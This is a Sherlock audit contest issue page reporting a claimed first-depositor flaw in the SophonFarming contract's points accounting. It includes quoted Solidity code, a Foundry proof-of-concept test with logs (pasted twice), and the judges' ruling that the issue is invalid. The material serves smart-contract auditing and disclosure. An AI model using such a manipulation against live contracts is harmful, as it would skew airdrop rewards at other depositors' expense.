sandy - First depositor can exponentially increase the accPointsPerShare value which leads to depositors getting large number of points for airdrop.

[sherlock-admin2]

sandy

high

First depositor can exponentially increase the accPointsPerShare value which leads to depositors getting large number of points for airdrop.

Summary

First depositor can exponentially increase the accPointsPerShare value which leads to depositors getting large number of points for airdrop.

Vulnerability Detail

updatePool() function is used to update accounting of a single pool. It updates pool.accPointsPerShare value which in return is used to calculated pending points for a user in a pool.

  function updatePool(uint256 _pid) public {
        PoolInfo storage pool = poolInfo[_pid];
        if (getBlockNumber() <= pool.lastRewardBlock) {
            return;
        }
        uint256 lpSupply = pool.amount;
        uint256 _pointsPerBlock = pointsPerBlock;
        uint256 _allocPoint = pool.allocPoint;
        if (lpSupply == 0 || _pointsPerBlock == 0 || _allocPoint == 0) {
            pool.lastRewardBlock = getBlockNumber();
            return;
        }
        uint256 blockMultiplier = _getBlockMultiplier(pool.lastRewardBlock, getBlockNumber());
        uint256 pointReward = blockMultiplier * _pointsPerBlock * _allocPoint / totalAllocPoint;

        pool.accPointsPerShare = pointReward / lpSupply + pool.accPointsPerShare;
        pool.lastRewardBlock = getBlockNumber();
    }

Here, pool.accPointsPerShare is calculated as:

           pool.accPointsPerShare = pointReward / lpSupply + pool.accPointsPerShare; // lpSupply = pool.amount

But, if(lpSupply == 0), the updatepool() function just returns:

        if (lpSupply == 0 || _pointsPerBlock == 0 || _allocPoint == 0) {
            pool.lastRewardBlock = getBlockNumber();
            return;
        }

Thus, when the first deposit occurs, pool.accPointsPerShare is not updated and the updatepool() function just returns. But, when the second deposit occurs, lpSupply uses value of first deposit amount as pool.amount is updated later after updating pool.

    function _deposit(uint256 _pid, uint256 _depositAmount, uint256 _boostAmount) internal {
        if (isFarmingEnded()) {
            revert FarmingIsEnded();
        }
        if (_depositAmount == 0) {
            revert InvalidDeposit();
        }
        if (_boostAmount > _depositAmount) {
            revert BoostTooHigh(_depositAmount);
        }

        PoolInfo storage pool = poolInfo[_pid];
        UserInfo storage user = userInfo[_pid][msg.sender];
        updatePool(_pid);
...
       pool.amount = pool.amount + _depositAmount + _boostAmount;

This leads to first depositor depositing minimum amount(1 wei) to exponentially increase pool.accPointsPerShare in the updatePool() function.

Impact

This leads to imbalance in points calculation and malicious users can manipulate new added pools to boost their points for better chance at an airdrop.

Code Snippet

https://github.com/sherlock-audit/2024-05-sophon/blob/main/farming-contracts/contracts/farm/SophonFarming.sol#L430-L432

Tool used

Manual Review

Recommendation

Deposit some amount into the pool by calling _deposit() function directly in the initialize() function for predefined pools and in the add() function for newly added pools.

[sherlock-admin4]

1 comment(s) were left on this issue during the judging contest.

0xmystery commented:

invalid because userAmount isn't updated when user.rewardSettled is assigned. userAmount is updated by the time user.rewardDebt is assigned though

[0xSandyy]

Escalate

The only thing first deposit does for this issue is it sets the pool.amount to 1001 wei. Then when the second deposit occurs by other users(exploiter is only going to deposit once), pool.amount of first deposit i.e 1001 wei is used to calculate the pool.accPointsPerShare in the updatePool() function. It is because updatePool() is called before pool.amount is updated. Also, there is no concern for user.rewardSettled and user.rewardDebt as the exploiter is going to deposit 1001 wei only once to get a large number of points.

You can even use as low as 1 wei but 1001 wei is the limit set in MockStETH. So, to run test without modifying other files, 1001 wei is used.

function test_poc() public {
        uint256 amountToDeposit = 1001 wei;
        // 1001 wei is the limit set in MockStETH.sol:submit(). This can even be set lower.
        uint256 secondDeposit = 1 ether;
        uint256 thirdDeposit = 1001 wei;
        // Depositing 1001 wei again to demonstrate that if there is some pool balance beforehand, the pending point is calculated correctly for the deposited amount
        uint256 fourthDeposit = 1 ether;
        uint256 fifthDeposit = 1 ether;

        address alice = address(10);
        vm.deal(alice, amountToDeposit);
        address bob = address(20);
        vm.deal(bob, secondDeposit);
        address carol = address(30);
        vm.deal(carol, thirdDeposit);
        address dave = address(40);
        vm.deal(dave, fourthDeposit);
        address eve = address(50);
        vm.deal(eve, fifthDeposit);

        uint256 poolId = sophonFarming.typeToId(SophonFarmingState.PredefinedPool.wstETH);

        console.log(block.number);
       
        // First deposit for 1001 wei
        vm.startPrank(alice);
        sophonFarming.depositEth{value: amountToDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
        vm.stopPrank();

        vm.roll(block.number + 1);

        vm.startPrank(bob);
        sophonFarming.depositEth{value: secondDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
        vm.stopPrank();

        vm.startPrank(carol);
        sophonFarming.depositEth{value: thirdDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
        vm.stopPrank();

        vm.startPrank(dave);
        sophonFarming.depositEth{value: fourthDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
        vm.stopPrank();

        vm.startPrank(eve);
        sophonFarming.depositEth{value: fifthDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
        vm.stopPrank();

        vm.roll(block.number + 100); 

        // Points for first depositor
        uint256 pendingPointAlice = sophonFarming.pendingPoints(poolId, alice);
        console.log(pendingPointAlice);

        uint256 pendingPointBob = sophonFarming.pendingPoints(poolId, bob);
        console.log(pendingPointBob);

        uint256 pendingPointsCarol = sophonFarming.pendingPoints(poolId, carol);
        console.log(pendingPointsCarol);

        uint256 pendingPointsDave = sophonFarming.pendingPoints(poolId, dave);
        console.log(pendingPointsDave);

        uint256 pendingPointsEve = sophonFarming.pendingPoints(poolId, eve);
        console.log(pendingPointsEve);
    }

Logs:

Logs:
  1 // block.number 
  8333333333333611326 // Total points for first depositor who deposited 1001 wei to exploit the issue
  277777777777777592449 // Normal points for depositing 1 ether
  277993 // Actual points first depositor should be getting for depositing 1001 wei 
  277777777777777592449 // Normal points for depositing 1 ether
  277777777777777592449 

[sherlock-admin3]

Escalate

The only thing first deposit does for this issue is it sets the pool.amount to 1001 wei. Then when the second deposit occurs by other users(exploiter is only going to deposit once), pool.amount of first deposit i.e 1001 wei is used to calculate the pool.accPointsPerShare in the updatePool() function. It is because updatePool() is called before pool.amount is updated. Also, there is no concern for user.rewardSettled and user.rewardDebt as the exploiter is going to deposit 1001 wei only once to get a large number of points.

You can even use as low as 1 wei but 1001 wei is the limit set in MockStETH. So, to run test without modifying other files, 1001 wei is used.

function test_poc() public {
        uint256 amountToDeposit = 1001 wei;
        // 1001 wei is the limit set in MockStETH.sol:submit(). This can even be set lower.
        uint256 secondDeposit = 1 ether;
        uint256 thirdDeposit = 1001 wei;
        // Depositing 1001 wei again to demonstrate that if there is some pool balance beforehand, the pending point is calculated correctly for the deposited amount
        uint256 fourthDeposit = 1 ether;
        uint256 fifthDeposit = 1 ether;

        address alice = address(10);
        vm.deal(alice, amountToDeposit);
        address bob = address(20);
        vm.deal(bob, secondDeposit);
        address carol = address(30);
        vm.deal(carol, thirdDeposit);
        address dave = address(40);
        vm.deal(dave, fourthDeposit);
        address eve = address(50);
        vm.deal(eve, fifthDeposit);

        uint256 poolId = sophonFarming.typeToId(SophonFarmingState.PredefinedPool.wstETH);

        console.log(block.number);
       
        // First deposit for 1001 wei
        vm.startPrank(alice);
        sophonFarming.depositEth{value: amountToDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
        vm.stopPrank();

        vm.roll(block.number + 1);

        vm.startPrank(bob);
        sophonFarming.depositEth{value: secondDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
        vm.stopPrank();

        vm.startPrank(carol);
        sophonFarming.depositEth{value: thirdDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
        vm.stopPrank();

        vm.startPrank(dave);
        sophonFarming.depositEth{value: fourthDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
        vm.stopPrank();

        vm.startPrank(eve);
        sophonFarming.depositEth{value: fifthDeposit}(0, SophonFarmingState.PredefinedPool.wstETH);
        vm.stopPrank();

        vm.roll(block.number + 100); 

        // Points for first depositor
        uint256 pendingPointAlice = sophonFarming.pendingPoints(poolId, alice);
        console.log(pendingPointAlice);

        uint256 pendingPointBob = sophonFarming.pendingPoints(poolId, bob);
        console.log(pendingPointBob);

        uint256 pendingPointsCarol = sophonFarming.pendingPoints(poolId, carol);
        console.log(pendingPointsCarol);

        uint256 pendingPointsDave = sophonFarming.pendingPoints(poolId, dave);
        console.log(pendingPointsDave);

        uint256 pendingPointsEve = sophonFarming.pendingPoints(poolId, eve);
        console.log(pendingPointsEve);
    }

Logs:

Logs:
  1 // block.number 
  8333333333333611326 // Total points for first depositor who deposited 1001 wei to exploit the issue
  277777777777777592449 // Normal points for depositing 1 ether
  277993 // Actual points first depositor should be getting for depositing 1001 wei 
  277777777777777592449 // Normal points for depositing 1 ether
  277777777777777592449 

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[mystery0x]

Please see my commented reasonings on #85.

[WangSecurity]

Thank you for the escalation, I will consider it a duplicate of #85 so @0xSandyy if you want to engage in a discussion please to it there since it's already started there.

If #85 is valid in the end, this escalation will be accepted and the report duplicated with #85.

If #85 is invalid, this escalation will be rejected and the issue will be left as it is.

[WangSecurity]

Result:
Invalid
Unique

[sherlock-admin4]

Escalations have been resolved successfully!

Escalation status:

• 0xSandyy: rejected